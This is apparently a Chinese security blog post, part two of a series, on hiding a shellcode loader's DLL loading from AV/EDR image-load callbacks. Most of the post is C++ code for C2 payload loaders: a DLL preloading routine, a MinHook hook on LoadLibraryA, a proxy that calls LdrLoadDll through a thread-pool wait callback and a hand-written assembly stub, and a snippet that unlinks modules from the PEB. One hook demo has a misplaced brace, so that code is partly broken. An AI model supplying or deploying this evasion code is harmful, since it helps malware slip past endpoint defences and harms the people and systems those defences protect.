LoadLibrary的那些事儿(二)

书接上文,我们简单的介绍了关于图像加载的一些事情,但是对于规避方法尚有一些疏漏所以第二篇进行补充。当然未来可能还会更新第三篇关于LoadLibrary的故事。

那么我们很多时候,是直接使用的,比如一些C2或者一些其他功能的shellcode,那么我们怎么办呢?毕竟我们是没有源代码的,这里就涉及到Shellcode加载器上的一些设计知识,当然这次并不是来说如何设计一款优秀的shellcode加载器的~,言归正传开始正文。

预加载

什么叫预加载呢?顾名思义就是我们提前去加载我们后续所需要的的DLL,这样就不会在后续的加载过程中触发回调扫描,但是如果AV/EDR对LoadLibrary函数进行了栈回溯,那么这种方法则是无效的。因为预加载只能规避图像加载回调事件。

我们的Loader在装载Shellcode之前提前加载好所有的dll,这样在AV/EDR的视角就是由Loader自身(调用者是Loader)去完成的,对于一些通过回调进行监控的安全产品有很好的规避效果。

Demo如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#include <windows.h>
#include <vector>
#include <string>
#include <iostream>

void InitLoadDll() {
// 定义需要预加载的常用DLL名称
std::vector<std::string> dllNames = {
"kernel32.dll",
"user32.dll",
"gdi32.dll",
"advapi32.dll",
"shell32.dll",
"ole32.dll",
"oleaut32.dll",
"comdlg32.dll",
"wininet.dll",
"ws2_32.dll",
"iphlpapi.dll",
"crypt32.dll"
};

for (const auto& dllName : dllNames) {
// 调用 LoadLibrary 预加载 DLL
HMODULE hModule = LoadLibraryA(dllName.c_str());
if (hModule == nullptr) {
std::cerr << "Failed to load " << dllName << ": Error " << GetLastError() << std::endl;
} else {
std::cout << "Successfully loaded " << dllName << std::endl;
}
}
}

我们可以根据需求去补充Dll的列表,但是这种方法是有明显的缺陷,比如我们后续使用的一些BOF插件或者其他的一些自身内存加载的DLL插件,亦或者一些dll会自己去加载别的DLL,这都有可能会造成新的回调,那么我们怎么去解决这个问题呢?

Hook LoadLibrary

答案是Hook LoadLibrary,我们Hook LoadLibrary函数后就不用在担心这种问题了,方法可以使用我们上文中最后提到的回调代理加载。通过 Hook LoadLibrary 函数,我们可以拦截所有动态加载的 DLL 操作,从而控制 DLL 的加载行为,比如伪造加载结果、绕过回调事件等等。

为了方便我们可以使用MinHook或者Detours(没错我就是懒鬼)。

我们先来看一下LdrLoadDll的函数定义和LoadLibraryA/W有什么区别,这里就用LoadLibraryA了(别问,问就是懒)

1
2
3
4
5
6
NTSTATUS NTAPI LdrLoadDll(
PWCHAR PathToFile, // DLL 路径,NULL 表示从默认搜索路径加载
ULONG Flags, // 加载标志
PUNICODE_STRING ModuleFileName, // DLL 名称(UNICODE 字符串)
PHANDLE ModuleHandle // 输出参数,加载的模块句柄
);

参数说明

  1. PathToFile:
    • 指定 DLL 的路径。如果为 NULL,表示使用系统默认的 DLL 搜索路径。
  2. Flags:
    • 加载标志,例如延迟加载(LOAD_WITH_ALTERED_SEARCH_PATH 等)。
  3. ModuleFileName:
    • 指定需要加载的 DLL 名称,以 UNICODE_STRING 形式传递。
  4. ModuleHandle:
    • 输出加载的模块句柄,用于后续操作(如调用函数或释放 DLL)。

简单科普一下MinHook的用法:

环境准备:

  • MinHook 官方仓库 下载框架。
  • 将 MinHook 集成到项目中(包括头文件和库文件)。

Demo:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#include <windows.h>
#include <iostream>
#include "MinHook.h"

// 原始的 LoadLibraryA 函数指针
typedef HMODULE(WINAPI* LoadLibraryA_t)(LPCSTR lpLibFileName);
LoadLibraryA_t fpOriginalLoadLibraryA = nullptr;

// Hook 函数
HMODULE WINAPI HookedLoadLibraryA(LPCSTR lpLibFileName) {
std::cout << "[HookedLoadLibraryA] Intercepted LoadLibraryA: " << lpLibFileName << std::endl;
// 根据需求搞
}

// 调用原始函数
return fpOriginalLoadLibraryA(lpLibFileName);
}

void HookLoadLibrary() {
// 初始化 MinHook
if (MH_Initialize() != MH_OK) {
std::cerr << "Failed to initialize MinHook." << std::endl;
return;
}

// 创建 Hook
if (MH_CreateHook(
&LoadLibraryA, // 目标函数地址
&HookedLoadLibraryA, // Hook 函数地址
reinterpret_cast<LPVOID*>(&fpOriginalLoadLibraryA) // 保存原始函数地址
) != MH_OK) {
std::cerr << "Failed to create hook for LoadLibraryA." << std::endl;
return;
}

// 启用 Hook
if (MH_EnableHook(&LoadLibraryA) != MH_OK) {
std::cerr << "Failed to enable hook for LoadLibraryA." << std::endl;
return;
}

std::cout << "Hook for LoadLibraryA successfully installed." << std::endl;
}

我们简单实现一下ProxyLoadLibraryA:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
ALLOC_ON_CODE unsigned char CallbackStub[] = {
0x48, 0x89, 0xd3, // mov rbx, rdx
0x48, 0x8b, 0x03, // mov rax, QWORD PTR[rbx]
0x48, 0x8b, 0x4b, 0x08, // mov rcx, QWORD PTR[rbx + 0x8]
0x48, 0x8b, 0x53, 0x10, // mov rdx, QWORD PTR[rbx + 0x10]
0x4c, 0x8b, 0x43, 0x18, // mov r8, QWORD PTR[rbx + 0x18]
0x4c, 0x8b, 0x4b, 0x20, // mov r9, QWORD PTR[rbx + 0x20]
0xff, 0xe0 // jmp rax

};

typedef ULONG LOGICAL;


typedef struct _LDRLOADDLL {
UINT_PTR pLdrLoadDll;
PWSTR PathToFile;
ULONG Flags;
PUNICODE_STRING ModuleFileName;
PHANDLE ModuleHandle;
} LOADLIBRARY_ARGS, * PLOADLIBRARY_ARGS;

typedef NTSTATUS(NTAPI* TPALLOCWAIT)(_Out_ PTP_WAIT* WaitReturn,
_In_ PTP_WAIT_CALLBACK Callback,
_Inout_opt_ PVOID Context,
_In_opt_ PTP_CALLBACK_ENVIRON CallbackEnviron
);

typedef NTSTATUS(NTAPI* TPSETWAIT) (_Inout_ PTP_WAIT Wait,
_In_opt_ HANDLE Handle,
_In_opt_ PLARGE_INTEGER Timeout
);

typedef NTSTATUS(NTAPI* TPWAITFORWAIT) (_Inout_ PTP_WAIT Wait,
_In_ LOGICAL CancelPendingCallbacks
);

typedef VOID(NTAPI* pRtlInitUnicodeString)(
PUNICODE_STRING DestinationString,
PCWSTR SourceString
);

wchar_t* ascii_to_unicode(const char* ascii_str) {
if (ascii_str == NULL) {
return NULL;
}
int ascii_str_len = (int)strlen(ascii_str);

int unicode_str_len = MultiByteToWideChar(CP_ACP, 0, ascii_str, ascii_str_len, NULL, 0);
if (unicode_str_len == 0)
return NULL;

wchar_t* unicode_str = (wchar_t*)malloc((unicode_str_len + 1) * sizeof(wchar_t));
if (!unicode_str)
return NULL;

int result = MultiByteToWideChar(CP_ACP, 0, ascii_str, ascii_str_len, unicode_str, unicode_str_len);
if (result == 0)
return NULL;

unicode_str[unicode_str_len] = L'\0';

return unicode_str;
}

HMODULE ProxyLoadLibraryA(LPCSTR libName) {
HANDLE result = NULL;
PTP_WAIT WaitReturn = NULL;
HANDLE hEvent = NULL;
UINT i = 0;
UNICODE_STRING unicode_string = { 0 };
LOADLIBRARY_ARGS loadLibraryArgs = { 0 };
wchar_t* libNameW = ascii_to_unicode(libName);
if (libNameW == NULL)
return NULL;

//RtlInitUnicodeString
pRtlInitUnicodeString RtlInitUnicodeString = (pRtlInitUnicodeString)GetProcAddress(GetModuleHandleA("ntdll.dll"), "RtlInitUnicodeString");

RtlInitUnicodeString(&unicode_string, libNameW);

loadLibraryArgs.Flags = 0;
loadLibraryArgs.PathToFile = 0;
loadLibraryArgs.pLdrLoadDll = (UINT_PTR)GetProcAddress(GetModuleHandleA("ntdll.dll"), "LdrLoadDll");
loadLibraryArgs.ModuleFileName = (PUNICODE_STRING) & unicode_string;
loadLibraryArgs.ModuleHandle = &result;

FARPROC pTpAllocWait = GetProcAddress(GetModuleHandleA("ntdll.dll"), "TpAllocWait");
FARPROC pTpSetWait = GetProcAddress(GetModuleHandleA("ntdll.dll"), "TpSetWait");
FARPROC pTpWaitForWait = GetProcAddress(GetModuleHandleA("ntdll.dll"), "TpWaitForWait");

hEvent = CreateEventW(NULL, FALSE, FALSE, NULL);

if (NULL == hEvent) {
return 0;
}

((TPALLOCWAIT)pTpAllocWait)(&WaitReturn, (PTP_WAIT_CALLBACK)(unsigned char*)CallbackStub, &loadLibraryArgs, 0);

for (i = 0; i < 5; i++) {
((TPSETWAIT)pTpSetWait)(WaitReturn, hEvent, NULL);
SetEvent(hEvent);
WaitForSingleObject(hEvent, 10);
((TPWAITFORWAIT)pTpWaitForWait)(WaitReturn, FALSE);
}
return (HMODULE)result;
}

结合前面的Hook Demo就可以很简单的组合出一个强大的功能,就像一个模块可以随时组装到我们的Loader中去。

当然也可以Hook成用DarkLoadLibrary来加载,本质上来说就是我们手动的去把shellcode映射到虚拟内存中,甚至可以直接避免出发内核回调通知。

还可以通过PEB摘除来避免一些监控、扫描、检查等

Demo:

1
2
3
4
5
......
PPEB pPeb = (PPEB)__readgsqword(0x60); // 获取 PEB 地址
PLIST_ENTRY pList = &pPeb->Ldr->InLoadOrderModuleList;
RemoveEntryList(pList);
......

(个人感觉没啥用)


LoadLibrary的那些事儿(二)
https://kyxiaxiang.github.io/2024/11/15/AboutLoadLibrary-02/
作者
keyixiaxiang
发布于
2024年11月15日
许可协议